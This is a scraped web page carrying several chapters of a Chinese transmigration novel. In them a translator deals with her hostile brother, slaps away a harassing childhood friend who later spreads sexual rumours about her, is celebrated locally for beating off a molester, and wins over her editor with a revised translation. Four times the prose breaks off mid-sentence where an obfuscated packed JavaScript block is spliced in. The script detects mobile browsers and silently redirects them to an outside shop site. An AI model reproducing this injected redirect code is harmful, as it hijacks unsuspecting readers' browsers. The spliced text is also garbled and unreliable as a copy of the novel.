“你还好意思说!”赵玉兰怒气冲冲地走了过来,“你要是不想接黛黛好歹也告诉一声,放着人在那等到半夜算怎么回事?让你去接就是怕她一个女孩子晚上出事,现在好了!” 段墨一脸愕然。毕竟段黛脸上的巴掌印实在太显眼了,他喃喃道:“你的脸……还有你胳膊,怎么回事?” 段黛想起来,在原书里段墨觉得原主被流氓猥亵是编的,不仅没有安慰她,反而还奚落了她一通,其中不乏什么“你这样的就是脱光了在街上走也很安全”的话。想到这段黛就气不打一出来,板着脸道:“哦,昨晚杀了个人,对方反抗的太激烈了,所以受了点伤。” 段墨当然不信她的胡说八道:“你能不能好好说话?” 段黛摆了摆手:“爱信不信。可惜了,人还活着,没死呢。” 段墨哧了一声:“你不会是故意做出这副样子,想让我为了没去接你而内疚吧?” 段黛:“啊对对对。” “你个臭小子居然还敢污蔑你妹妹……”赵玉兰捏着他的耳朵把他拽进了屋。 在父母的轮番声讨下,段墨这才知道段黛昨晚遇到了流氓。不过他还是不太相信:“你是想让父母骂我才故意撒谎的吧?” 段黛抱着手臂,还是那句话:“爱信不信。” 段光耀蹙眉:“黛黛可不是那种会扮可怜的人,你还不了解你妹妹?” 段黛心道,恐怕段墨还真觉得自己就是那种扮可怜博同情的人。 段光耀板着脸:“可别忘了,你的工作还是黛黛给你找的!” 一听这话段墨瞬间炸了,指着段黛的鼻子怒吼:“不用你假好心,我根本不喜欢这个工作!你不就是想让我看你一辈子脸色吗?” 段墨是美院毕业的,一直梦想能够成为举世闻名的画家。可惜梦想被现实打败,大艺术家游荡了几年后吃不起饭了,不得不为了五斗米折腰,出来上班了,在一家美术馆里做管理员。 段墨的工作还是段黛托关系帮忙找的。这份工作每天基本没有什么很重的任务,按时上下班打卡就好,很适合用来过渡。他可以在下班之后继续追求自己梦想,将来要是在艺术方面真的做出了名堂也可以辞职。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253430|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >段光耀和赵玉兰一脸震惊地看着他:“你怎么能……这么想你妹妹?” 段黛对此倒是完全无所谓。她摸出了手机,作势要拨打电话:“好啊,如你所愿。” 说着她将手机放到了耳边:“喂您好,半年前我不是麻烦您给我哥哥安排一个职位吗,我哥哥他不喜欢……” 段墨的脸色变了,他没想到段黛是认真的。段光耀赶紧把段黛的手机抢了过来:“听你哥哥胡说八道呢,他不去上班还能干什么工作?” 赵玉兰连连叹气,拉着段黛的手道:“你哥哥就是这个性子,唉……只能委屈你多担待了……” 这顿饭的气氛有点诡异,但段黛浑然不觉。她坐在餐桌边,夹着糖醋排骨慢慢地啃着。段墨坐在她的对面,抬起头时就是愤恨的眼神。 段黛觉得非常可笑,都快三十岁的人了,还一副小学生记仇的样子给谁看呢? 赵玉兰见段黛吃饭吃的香,捂着嘴笑了起来:“黛黛还是头一次所有菜都吃呢,之前总是只吃那几道菜的。” 段黛的脸上露出了一个恰到好处的笑容:“爸妈做的菜都好吃。” “好吃就多吃点……” 吃过饭之后,段黛重新戴上口罩和帽子,说了声“我走啦”,便无视了段墨难看的表情,推开门出去了。 防盗门关上之后,赵玉兰叹了口气,对段墨道:“那毕竟是你亲妹妹,你怎么……唉。” 段墨冷笑一声:“不就是觉得我没有段黛混的好,给你们丢脸了吗?” “你怎么能这么想?”赵玉兰拍了拍他的肩膀,“墨墨啊,我和你爸还有你妹妹对你都是好意,你怎么总用这么恶毒的想法来揣测我们?” 段墨“哼”了一声,抱着手臂坐在沙发上。 段光耀也叹气:“黛黛想给你买个公寓做画室,前一阵子还在看楼盘呢,说是要给你准备个惊喜。你这样……黛黛该多寒心啊。” 听到画室段墨吃了一惊:“真的假的?她买得起吗?” “公寓又不是住宅,价格没那么贵的,拿来给你做画室正好,”赵玉兰在段墨身边坐下,“当时黛黛是这么跟我们说的。我和你爸给你买车已经掏空老底了,哪有钱再给你置办画室?你妹妹知道我们俩没那么多钱,主动提出来要帮你实现梦想……不然你还做什么艺术家呢?” 想到段黛脸上的那些伤,又想到这还是因为自己故意放鸽子才导致的。现在又知道段黛还想送自己画室,段墨心里有几分懊悔,但还是嘴硬:“我没叫她送。” 段光耀语重心长道:“咱们一家人不能生了嫌隙,不然叫别人听了多笑话。你别总误会你妹妹,之后找个时间跟她认个错。黛黛多喜欢你这个哥哥啊,别真叫她难过了,伤了和气。” 段墨本来也想找机会给段黛道歉的,可被段光耀这么一说,瞬间又起了逆反心理:“我才不去觍着脸给她道歉呢。叫她知道我还能服软,那还得了?” “唉,你这孩子,怎么这么犟呢……” 5. 别拉拉扯扯的 段黛从父母家里出来之后,沿着小区的步行街慢慢走着。正午的太阳很毒,段黛现在给脸上裹得严严实实的,倒是把物理防晒给做好了。她眯着眼睛走在路上,忽然听到身后有人叫她。 “段黛?” 段黛脚步一顿,旋过身来,看到一个穿着黑色长裤短袖白衬衣打着领带的年轻男人站在身后,叫她第一时间想到了房产中介。她眯着眼睛看了一会儿,终于把面前的面孔和记忆中的人名对上了号。 “邓辞?你也来看你父母啊。” 邓辞和段黛从小就认识,父母们住的也近,可以说是青梅竹马了。后来段父段母跟着儿女一起来了临安,邓辞的父母也跟着一起搬来了,都住在同一个小区。 邓辞快步从她身后追了上来,走近之后自然也就看到了口罩边缘露出来的那一点皮肤上的红肿。他面露惊讶神色:“你这脸是怎么回事?你哥动手打你了?” “不是我哥,”段黛继续往前走着,“昨晚遇到了一个流氓,负伤了。” “啊,我记得你是昨天下午的航班,”邓辞走在她身侧,“不过鹿颖恰好昨天出国,也难怪你哥顾不上接你。” 段黛微微歪头,看着自己的这个发小:“哦?这你都知道。” 邓辞轻轻一笑:“不光是你哥呢。你男朋友也去送了,你回来之前应该是先叫的他来接机吧?但是被拒绝了。” 他轻声叹息,拍了拍她的肩膀:“你这是谈了一个什么男朋友啊……” 段黛推开了他搭上来的手,停住脚步转过身来,似笑非笑地看着他:“说说看,你还知道什么?” 邓辞一时语塞:“我……” 段黛轻轻一笑,转过头来继续往前走着,不紧不慢道:“关于我的事,你知道的不少啊。” 邓辞松了一口气,继续跟上她的脚步:“我只是想说,你就算……也不应该找这么一个不靠谱的人谈恋爱。” “就算什么?”段黛冷不丁的出声,叫邓辞不知道该说什么了。 “那个……就是……之前高中的时候你不是……” 段黛盯着他:“就是什么?” 邓辞有种毛骨悚然的感觉。此刻段黛就这样直勾勾的盯着他,无形中像是伸出了一只手,掐住了他的脖子。 他尴尬地笑了笑:“怎么会呢……就是……” 他调整了一下情绪,叹了口气:“你哥哥和你男朋友都喜欢那个鹿颖,根本没有人真心对你好啊。咱们都认识了这么多年了,我这是心疼你。” “呵呵,”段黛毫无感情的硬笑了两声,“这样啊。” “我妈说很想你来着,要不来我家坐坐吧?我家有消肿的药膏,你来了正好擦一擦吧。” 说着邓辞就拉着段黛,想要往他家的方向走。段黛踉跄了两下,很快就找到了平衡,站定不动了。她推开了邓辞的手:“不必了,我今天比较忙,下次有空再去拜访阿姨。” 邓辞眉眼弯弯:“来都来了。你是怕自己脸上的伤不好看吗?没事的,我妈又不会笑话你,她只会心疼你……” 说着他又要来拉扯段黛,而段黛后退一步顺势将手往旁边甩,硬是躲开了。 段黛扬起了下巴:“好好说话,别动手动脚的,男女有别知道吗?” 邓辞一听乐了:“咱们都认识了这么多年了,你还在乎这些?” 段黛又后退一步:“我先走了,以后有空再聊。” 说着她转身向着小区门继续走去。邓辞却又追了上来,抓着她的肩膀强行把她转了过来:“不就是个巴掌印吗,有什么见不得人的……” 说着他就对着段黛脸上红肿的部分用力按了一下,刻意将指甲往上压了压,登时段黛觉得脸上火辣辣的痛。她当即甩手,只听“啪”的一声,邓辞被她一巴掌扇到在地。 段黛居高临下地看着他:“我说了别动手动脚的吧?” 屁股和腿上传来一阵疼。邓辞坐在地上,好半天缓不过神来。良久,他终于颤颤巍巍地伸出了手,碰了碰自己被打的半张脸。 他抬起头来看着段黛,想从她的脸上找到害怕或者后悔的神色。然而段黛只是抱着手臂一脸厌恶地看着他,哪怕戴着口罩和帽子只露出一双眼睛,他都能察觉到难以掩盖的嘲讽。 “……那个。” 段黛闻声转头,看到了不知什么时候出现在绿化后面的黎尚轩。他穿着灰色T恤和工装裤,身上有些灰白色的痕迹,像是正在装修似的。 他有些迟疑地看着段黛:“你……没事吧?” 段黛也有些意外:“又见面了。” 黎尚轩今天是来这里工作的,没想到一出门又看到了昨天晚上和流氓互殴的女生。一开始他看到段黛对旁边男人总是动手动脚的行为非常反感,正想着上来打个招呼解围呢,没想到就看到她一巴掌把人扇倒在地。 段黛压根就不需要有人来英雄救美。 她很自然地向着黎尚轩的方向走去,邓辞猛地爬了起来:“这又是谁?” 段黛根本没有理他的意思,向着黎尚轩寒暄:“好巧啊,你怎么在这?” 黎尚轩轻飘飘地看了邓辞一眼。和看起来有些文弱的邓辞不同,黎尚轩长的人高马大的,露出来的一节手臂上还能看到明显的肌肉,邓辞登时噤了声,不敢再多话了。他跟着段黛一起向着小区门口走去:“我来这工作,客户住在这里。” 什么客户,怕不是装修工人吧。段黛脑中莫名闪过这么一个想法。但是黎尚轩身上的衣服也没脏到那种程度,说是装修工好像也不太合理。 “你来这里是……” 段黛接话:“哦,我父母住在这,我今天来看看他们。” 虽说两人已经算是认识了,但到底只是几面之缘。他们互相客套着寒暄了一下,在段黛进入地铁站之后,两人就分道扬镳了。 邓辞站起身后,身子晃了两下,慢悠悠地往父母家的方向走去。 邓辞的母亲孙春梅给他开了门:“大中午头的出去转啥?” “妈,”邓辞进屋换了鞋,“你猜我碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253431|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见谁了?” 孙春梅摸到了空调遥控器,拿起来看了看之后按下按键打开了空调。随着“滴”的一声响,空调启动。 她问:“看见你段叔了还是赵姨了?” 邓辞摇了摇头:“我看见段黛了。” “哎呀,好久没见到这孩子了,”孙春梅有些激动,“黛黛来看她爸妈吧?你怎么不叫她来咱家坐坐?” 孙春梅很喜欢段黛。以前他们还没上大学都在父母身边的时候,段黛乖巧又懂事,学习成绩还好。她那个哥哥经常欺负她,惹得孙春梅愈发怜爱她了。后来上了大学之后段黛也一直很争气,现在在书店买到她翻译的书时,孙春梅还会很骄傲的说:“这个姑娘是我看着长大的。” 她是真心把段黛当女儿疼的。 邓辞看着孙春梅的表情,心中恶意更甚。他笑道:“我当然叫了啊,人家大翻译家不来呢。” 孙春梅当然听出来了儿子的阴阳怪气,她只是笑了笑:“估计是有什么事吧。” 邓辞“啧”了一声:“不过也难怪段黛不愿意过来。我看见她的时候,她戴着口罩和帽子,把脸捂的严严实实的。我感觉挺奇怪的,就过去问她怎么回事。你猜怎么着?” 在孙春梅疑惑的目光中,邓辞压低了声音:“她脸上有两个巴掌印,都肿起来了!” 孙春梅吃了一惊:“这是怎么回事?” “我也问她了啊,她支支吾吾的不肯说,”邓辞在沙发上坐下,“估计是和什么不三不四的人勾搭上了,叫人家教训了呢。” “她还经常往国外跑,说不定就学了国外那种Open的风气,指不定身上有什么传染病呢……” 孙春梅微微蹙眉:“别乱说,黛黛不是那种人。” 邓辞却道:“什么人能扇这么用力让整张脸都肿起来啊?要是没做亏心事她能支支吾吾地不说?” 被邓辞这么一说,孙春梅也觉得好像有点道理。不过她了解段黛的秉性,并不相信她会像邓辞说的那样堕落。孙春梅坐到沙发上,有些担忧地看着窗外:“这孩子是遇到什么麻烦了……” 见母亲已经有几分动摇了,邓辞的脸上扬起了一个恶意的笑容。 “你也别老觉得段黛哪都好。人家肯定只把光鲜亮丽的形象展现在外面,内里烂成什么样了只有他们自己知道。她年纪轻轻就能翻译这么多名著,那可不是光有水平就行的,指不定她做了什么,才让她有了这么好的资源……” 说着说着邓辞故作惊讶:“她不会被包养了吧?” “邓辞!”孙春梅皱起眉头,“你都多大小了,还这么口无遮拦的!从你初中我就说了不准造别人的黄谣了吧!” 邓辞不以为意:“我这都是有理有据的,可不是乱讲。再说了我只是在家里分析分析,又不是在外面说。” “你要敢在外面这么胡说八道,那还得了?” 孙春梅重重地叹了口气。 “妈你放心好了,”邓辞微微一笑,“你儿子我的风评还是很好的。” 6. ISTJ标准皮肤 段黛并没有急着回家。出了地铁站之后她进了一家眼镜店,对店员道:“我想配一副眼镜。” 中午店里没什么人,所以只有段黛一个顾客。店员是个年轻的小姑娘,看到段黛摘下帽子和口罩,露出脸上的巴掌印时,先是吃了一惊,然后反应了过来:“姐妹,你是不是昨晚暴揍黄毛替天行道的那个女侠?” 段黛愣了一下:“女侠?” 已经变成这种说法了吗? 店员非常兴奋:“那个黄毛又老又恶心,以前还总来店里骚扰我来着,这回终于有人收拾他了。还有好几个被他骚扰过的姐妹,我们今天早上一起去派出所作证的,那个老流氓是惯犯了。” 段黛笑了起来:“那还得多谢你们,我一直担心会被认为是防卫过当呢。” “隔壁开面馆那家大清早去做了个锦旗,去了派出所才知道你不在呢……” 段黛礼貌地笑了笑。她有些不适应这种突如其来的热络,但是……感觉还不坏。 因为“女侠”的滤镜在,店员非常殷勤的帮段黛调好了度数,又选了最适合她的镜片材料和镜框。段黛这才知道连两块眼镜片之间的距离都有讲究,难怪以前新配一副眼镜戴上时总会感觉头晕。 在店员的贴心关照下,段黛收获了一副戴起来非常舒适的眼镜。世界在她的眼中重新变得清晰,段黛感觉自己的脑子都跟着清醒了几分。 考虑到之后可能会更换镜框,段黛选择的眼镜款式都是能尽可能大的保留镜片的面积的设计。金属的镜框可能会生锈,所以段黛直接选择了无框。 她转头看向镜子,仅仅是在鼻梁上架上了一副镜片很大的圆形眼镜,看起来就和原主的相貌大不相同了。虽然脸上的紫红比较抢戏,但并不影响段黛对自己相貌的观察。 店员情不自禁道:“感觉姐妹你戴上这副眼镜后……智商很高的样子。” 段黛笑出了声:“是吗。” “不止是智商很高,怎么说呢……”店员摩挲着自己的下巴,“有种很厉害的感觉,雷厉风行的,像是教导主任或者职业女强人那种……嗯。” 段黛在穿越前的长相其实和原主差不多,但是两人的打扮风格完全不同。之前段黛就被人评价看起来像个升学率很高会用教鞭抽人的老师,现在倒是得到和以前一样的评价了。 “还有什么不合适的地方吗,可以继续调。” “不用调了,结账吧。” 付钱时段黛有些意外:“这么便宜吗?” 店员比了个大拇指:“跟店长请示过了,给你打了七折!对了,这段时间你如果在这一带的店铺消费的话,估计都会给你打折哦。” 段黛连连表示感谢。 从店里出来后,段黛也懒得再戴口罩和帽子了。既然周围的人都知道她的“光辉事迹”,那也没必要遮着藏着了,于是直接顶着这副尊容往家走。 “……女侠一把按住了那流氓的脑袋,往地上猛磕两下,那流氓瞬间头昏脑涨,连连求饶……” 有几个人坐在亭子里闲聊,段黛听了一耳朵后哭笑不得。这些聊的人倒也没真的看到她怎么爆锤流氓的,所以说的一个比一个玄乎。正在她想要一笑而过时,忽然有人看到了她,大喊一声:“女侠来了!” 段黛:???? 瞬间好多姑娘从各个店铺里涌了出来,纷纷围到了段黛身边。一群人七嘴八舌,这个夸她是“女人中的女人,雌性中的雌性”,那个说家里有什么药膏,可以去脸上的巴掌印,还有问她害不害怕疼不疼的。段黛晕晕乎乎地被一群人包围着,手里还被塞了一面锦旗,磕磕巴巴地回答着周围人的问题。 “姐妹你学过格斗术吗?” “没,没学过。” “那你怎么做到把那个老流氓爆锤一顿的啊?” “就,手上有什么就砸什么行了,赤手空拳打不过拎个武器总能好点吧?宁可见法官也不见法医嘛。” “噢——” 于是面馆的服务员说要练习用碗敲人,奶茶店的员工说回去试试能不能举起打单子的机器,面包店的厨师说擀面杖就挺趁手的…… 段黛悄悄溜出了人群,进了自己家的单元门。 她还是不太擅长应付这种情况的。 回了家之后,段黛才发现自己还把锦旗带回来了。深红色的绒布边缘坠了一圈黄灿灿的流苏,上面嵌了几个大字——“脚踩孽障根,爆锤猥琐男”。 段黛没绷住,举着锦旗笑了起来。她把旗子挂到了门上,虽然滑稽,但还挺有纪念意义的。 到家之后,段黛来到书房,继续早上出门前的工作——研究原主留下来的译文。 她上网搜了一下读者们对原主以往作品的评价。果然如她所料,两极分化很严重。喜欢的人表示原主的译文琅琅上口,阅读起来毫不费力。批评的人则认为原主背离原著太多,个人风格色彩过重。 段黛自己的翻译风格和原主却是截然不同的。段黛非常忠于原文,并且希望能让读者们从译文中也能感受到原作者的腔调,力求精准还原,所以会有比较重的翻译腔。原主则注重感觉的传达,追求的是让读者更容易阅读,在遣词造句的精准度上反而不那么苛刻。 翻译本来就是对原文的一次背叛。段黛身体后倾靠在椅子背上,一边读着原著一边看着译文,心里慢慢盘算着。 或许……她也应该转变一下翻译的方式了。 段黛在电脑前坐了一晚上。她复制了一份原主留下的译文,然后对着原文在复制件上进行修改。修改好了第一章的译文之后,段黛认真读了一遍,长长地呼出了一口气。 她是在原主译文的基础上进行修改的。既然原主所欠缺的恰好是她擅长的,那她就用自己的精准来给译文做润色。新改出来的译文兼有精准和生动两方面,不论是和原主还是段黛本来的风格都大相庭径。 修改好之后,她打开了和责编的聊天框 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253432|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :【姐,我想改一下译文的风格。能来看看样稿吗?】 段黛的责编名叫关月兰,因为和段黛的母亲赵玉兰的名字里都有一个“兰”字,所以原主对这个责编非常依赖。关月兰也是尽职尽责,把原主当妹妹看待,即便是原主经常开天窗也顶多是责骂几句,从来没怠慢过她。 关月兰很快发来了一个问号。 【祖宗,你知道离截稿日还剩几天吗?】 段黛迅速敲字:【放心,我指定按时交稿。】 聊天框安静了好一会儿,久到让段黛心里有些发毛。本来原主就经常拖稿,现在自己还在死线前突然说什么要改风格……责编不会以为她是有什么新的开天窗的借口吧? 虽然段黛确实是打算重新翻译一遍,但毕竟有原主的参考在,她也不至于做的太困难。 就在她纠结要不要解释一下自己这次绝对不会放他们鸽子时,关月兰终于发了消息来:【你在家吧?】 【我在。】 【等着,我马上来。】 段黛本来想着直接发邮件给她就好了,没想到责编居然要亲自上门。她昨晚只囫囵睡了几个小时,之后就一直在写东西,现在的形象多少有点不修边幅。 既然一会儿要见人,段黛赶紧从书桌前站起来。她活动了一下酸胀的关节,敲了敲发麻的屁股,然后步履蹒跚地进了卫生间。洗完脸时,段黛看到自己脸上的巴掌印几乎消掉了,只有凑近了才能看到还有点发红的痕迹。 “这点痕迹无伤大雅,问题不大。” 段黛对着镜子喃喃自语,随后立刻继续行动起来。 她迅速洗漱之后把头发梳顺,找出一套衣服来换掉了身上的睡衣。才收拾好没多久,门铃就响了。 段黛打开门,一个个子不太高化着精致妆容的女人正站在门外。她的额头上布满了汗珠,手上还扇着风,口中嘀咕着“热死了热死了”。 这就是原主的责编——关月兰了。 见门开了,关月兰呼出一口气:“你最好不是找借口给我拖稿……我靠。” 她抬起头来,一脸震惊地看着段黛。 段黛不明所以:“怎么了?” 眼前的段黛虽然是披散着头发,但在额顶的发际上依然做了规矩的中分。她素面朝天,脸上略有些憔悴,鼻梁上架着一副圆形的无框眼镜。和从前一直打扮精致如小白花似的姑娘截然不同,现在的段黛好像是刚从工作的山里被挖出来了一样。 关月兰张大了嘴巴:“……你被夺舍了?” 段黛登时有些心虚。她穿到原主身上,可不就是夺舍了? “你怎么变成这样了?” 关月兰推开门进来,公文包“啪”的一下掉在了地上。她伸出两只手捧住了段黛的脸,仔细端详着:“……不知道为什么,你现在这个样子让我有种你能一天写八万字的感觉。” 段黛哭笑不得:“我就算不眠不休也没法一天写八万字……” 7. 模型训练成功 关月兰对段黛的新形象感慨了一阵之后,很快恢复了平静。她熟门熟路的从鞋柜里精准地拿出一双和她的尺码差不多的拖鞋来换上,接着走到沙发边坐下:“我来看看你是想换个什么风格?” 段黛赶紧进书房,拆了电源线之后把笔记本电脑搬了出来。她打开刚刚改好的文档放到关月兰的面前,略有些紧张:“你……看看?” 关月兰接过电脑搁在了腿上,眯起眼睛看了起来。读了两行之后她睁开了眼睛,脸上的不耐尽数消失,变作一副严肃的模样。 段黛规规矩矩地坐在一边,有些忐忑的双手叠在腿上。 时间一分一秒的过去,段黛一直保持着一个姿势坐着。 半晌,关月兰的视线终于从电脑屏幕上转移到了段黛的脸上:“你果然……是被夺舍了吧?” 段黛心里咯噔一下。 她其实也想过要不要模仿原主的风格,继续把稿件翻译完。但是模仿的了一时模仿不了一世,段黛骨子里还是一个偏向于严谨的人。与其刻意模仿原主,倒不如现在就做出转变来。 果然还是变动太大了吗…… 关月兰把电脑放到了一边。她深吸一口气,一脸严肃地看着段黛。 下一秒,她忽然就笑了起来:“士别三日当刮目相看,没想到你还能进步这么大!” 关月兰的态度转变的太突然,段黛吓了一跳:“啊……啊?进步?” 关月兰点了点头:“以前很多人批评你译文不够严谨,但是考虑到你再创作的部分可读性很强,可以说是瑕不掩瑜,所以咱们社一直还是采用你的稿件。没想到这几个月不见,你居然把存在了这么长时间的毛病都改掉了!” 段黛懵了一会儿,确定关月兰是在夸她之后才松了口气:“你真是吓我一跳。” 原主的译文缺乏严谨,段黛的译文缺乏生动。没想到经此一役,她竟是取长补短了。 关月兰伸着脖子慢慢看着稿件:“如果是这种风格的话,多给你让几天也是没问题的……” “用不着让,”段黛打断了关月兰的话,“我可以按时交稿的。” 关月兰闻言立刻扭过头来,眼睛里写着“不信”两个大字:“真的假的?” 段黛脸不红心不跳:“其实我已经翻译的差不多了,但是之前总觉得差点意思。前几天我忽然就悟了,终于改出了比较满意的样子,所以赶紧拿给你先看看。既然没有什么问题的话,我就把后续的译文都修改一下。只是修改,不会花很长时间的。” “太难得了,你居然会提前完成……”关月兰啧啧称奇,“孩子长大了,知道给编辑省心了。” 段黛不太好意思地打了两个哈哈,能得到认可,她还是很高兴的。 陈方烨这几天一直在家和医院两头跑。他舅舅钱耀祖已经醒了,在知道自己不仅命根子没了以后还大小便失禁后立刻就疯了,连警察来做调查时都被他乱丢东西打了出去。 钱婷婷一直哭着她的弟弟多么命苦,最后陈方烨烦了:“要管你自己管吧,我公司现在正在关键时期,哪有空管他这些破事!” 钱婷婷被自己儿子骂了这么一通懵了:“这是你亲舅舅……” “我可不想认这个舅舅,你愿意认这个弟弟你就自己忙活,别想拉我下水。” 陈方烨愤怒地抛下人自己回了家。这几天他都没怎么合眼,现在只想躺下来好好睡一觉。然而真到家躺下之后他却睡不着了,盯着天花板发了好一会儿的呆,明明头疼的要死,却毫无睡意。 他掏出手机,点开V信后习惯性的打开了消息栏,然而扫了几眼他都没找到那个熟悉的头像。陈方烨愣了一会儿,终于想起来自己几天前把人给拉黑了。 已经过去三四天了,她应该也知道自己错了吧…… 陈方烨正想着打开黑名单把人放出来,视线一扫,却看到了置顶的鹿颖。 他手指一顿,最后还是点开了和鹿颖的聊天框。 【在那边怎么样,感觉还习惯吗?】 【最近遇到了点麻烦,唉。】 【有一些烦人的亲戚真的很麻烦,特别是父母还不愿意和他撕破脸,我就更难受了。】 【我最近怎么也看不到你朋友圈了啊。】 陈方烨絮絮叨叨说了一堆,对面一点回应也没有。他疑心难道是时差对方在睡觉?打开时钟查了一下发现鹿颖那边也是白天。 可能是太忙了,没来得及看消息吧。陈方烨轻轻叹了一口气。 和鹿颖聊天就是这样的,要过很久才能收到回信。和段黛聊天就不一样了,她好像永远盯着手机一样,从来都是秒回。陈方烨之前还笑她是不是没有自己的事情要做呢。 “……怎么又想起她来了。” 陈方烨长长地叹了口气,打开黑名单把段黛放了出来。他斟酌了半天,最后敲了一句话发了过去。 【把你放出来了,知道错了就好。】 段黛压根就不知道陈方烨把她拉黑的事。这几天她一直忙着写译文,连饭都是将就着吃的。现在手机突然振动了一下,她担心是编辑的消息就看了一眼,没想到是陈方烨这一句没头没脑的话。 “……他有病吧。” 段黛不知道他想说什么,又担心万一聊起来会耽误时间,于是装作没看到一样,把手机放到一边,自己继续干活。 陈方烨等了好一会儿也没收到段黛的消息,不由得有些疑惑。鹿颖不回消息也就算了,她段黛凭什么不回消息? 陈方烨很想发消息质问她,但又觉得这样好像显得自己很期待和她聊天似的,于是还是忍住了。 他盯着手机看了很久,不知不觉间竟然睡着了。 再睁开眼睛时天已经黑了,陈方烨揉着太阳穴坐了起来,先看了一眼手机。 他睡了四个小时。 V信没有收到任何消息。 陈方烨有些难以置信。他打开V信刷新了一下,又点开了和段黛的聊天框,千真万确那里只有他发出来的消息。 “……难得啊。” 没想到段黛发的脾气也会持续这么长时间了。 陈方烨慢慢坐了起来,因为入睡的姿势有些别扭,现在他的四肢有些发麻。他活动了一下自己的脖子和肩膀,想着或许自己应该给她一个台阶下。 他打开社交媒体平台,随便刷了刷,找到一个抽象且搞笑的视频分享给了段黛,然后状若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253433|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无事地加了一条消息:【笑死我了哈哈哈哈哈。】 以前段黛气消了想主动和好,就会分享一些有意思的东西给他看。如果陈方烨愿意顺着她的台阶下来,那就会简单回复一下她的分享,这件事就算这么过去了,两人和好如初。 她应该知道自己是什么意思吧……她肯定知道自己是什么意思。 发完那一串哈哈哈之后陈方烨莫名有些烦躁。自己居然学了段黛以前的那些做法? 就在消息发出去的一瞬间,段黛的手机亮了起来。现在不是工作时间,不可能是出版社那边发来的消息,所以段黛根本就没理。 电脑旁边放了两杯美式,其中一杯已经喝空了,另一杯也喝了一半。段黛并不喜欢冰美式,她觉得这种咖啡太苦了。奈何足够苦才提神,堪称赶进度的最佳伴侣。 虽说睡眠不足,但段黛的脑子此刻异常清醒。书房里全是键盘被敲击的“啪嗒啪嗒”的声响,她已经把原主留下的译文彻底改完了。 接下来就是把后面还没有翻译的部分完成了。 ——Youmaygetitoveranddonewithlesttherebeanyeffect. 段黛盯着搁在架子上翻开的书本,看着这句话在电脑上敲下了“一了百了”四个字。 然而写完之后她又觉得似乎有点不太合适,于是又删掉了。 “还要兼顾原来的风格啊……”她喃喃自语。 段黛活动了一下酸胀的手腕,拿起手机想再查一些资料。不想看到了陈方烨那假装没事一样的“哈哈哈”,叫她忍不住眉头紧蹙。 对他舅舅的事,她可不会松口呢。 看到陈方烨就会想到钱耀祖,然后就能想起来原主最后的结局。段黛心里生出一些阴冷,脑海中忽然就冒出了一句话来。 ——斩草不除根,春风吹又生。 她顿了一下,放下了手机,把这句话敲在了文档之上。 就这样吧。 陈方烨把手机扔到一边,下床去卫生间洗了把脸。正在他用毛巾擦干脸上的水时,听到自己的手机铃声响了起来。 陈方烨迅速抛开毛巾,飞快地跑回卧室,向前一扑越到床上,伸出胳膊来握住了陷在被子里的手机。然而当他看到来电显示是妈妈时,脸色瞬间沉了下去。 他有些不耐地叹了口气,滑了接听键:“妈,怎么了?” 钱婷婷的声音听起来有些慌张:“医院叫咱们缴费……我……” “我都说了我不会再管他了!”陈方烨登时怒火冲天,“你还想让我拿钱去救他?做梦!” “别这样啊方烨,那……那毕竟是你亲舅舅啊……” 电话里传来抽泣的声音,陈方烨如鲠在喉,心里有些不上不下的。 他可以不管舅舅,但是很难不管妈妈。 沉默半晌,他叹了口气:“我给你转一万过去,你先把钱交上吧。” 电话挂断之后,陈方烨看着外面已经漆黑的天空发了一会儿呆。手机静悄悄的,无论是鹿颖还是段黛都没有回他的消息。 可能……她们都没看手机吧。 陈方烨自欺欺人地猜测着。 8. 斩草要除根 ——斩草不除根,春风吹又生。 段黛反复默念着这句话,不知不觉间手上的动作也停了。 她已经完成了稿件九成的内容了,在ddl之前完成剩下的部分是完全没问题的。 段黛站起身来,对着没拉窗帘的窗户活动了一下身体。皎洁的月光倾泻而下,给只亮着一盏台灯的书房增添了几分诡异的静谧。她扬起下巴看着窗外无人的街道,缓缓抚摸着自己的胳膊。 现在是凌晨三点。 